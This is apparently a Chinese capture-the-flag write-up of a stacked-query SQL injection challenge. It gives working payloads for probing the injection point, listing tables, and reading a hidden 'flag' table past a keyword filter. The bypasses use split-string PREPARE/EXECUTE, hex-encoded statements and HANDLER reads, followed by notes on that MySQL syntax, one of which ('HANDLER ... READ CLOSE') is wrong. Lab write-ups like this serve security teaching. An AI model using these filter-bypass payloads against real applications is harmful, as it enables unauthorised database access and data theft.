1'
试一下是否存在注入点error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
1' union select 1, 2
, 报错return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1' ;show tables --
展示有哪些表array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
1919810931114514
这张表的结构,注入1'; desc `1919810931114514` #
回显
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
说明该表有个字段叫flag,需要把这个表的数据输出出来
方法一: 通过预编译手段(通过拼接select 绕过检查)
1';PREPARE hacker from concat('s', 'elect', ' * from `1919810931114514` ');EXECUTE hacker;#
方法二:通过预编译手段(通过将查询语句进行16进制编码绕过)
select * from `1919810931114514`语句进行16进制编码,即:73656c656374202a2066726f6d20603139313938313039333131313435313460
注入
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
或
1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
1.预编译
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤
格式:
PREPARE 名称 FROM Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;
举例:查询ID为1的用户:
方法一:
SElECT * FROM t_user WHERE USER_ID = 1
方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;
方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;
方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;
打开表:
HANDLER 表名 OPEN ;
查看数据:
HANDLER 表名 READ next;
关闭表:
HANDLER 表名 READ CLOSE;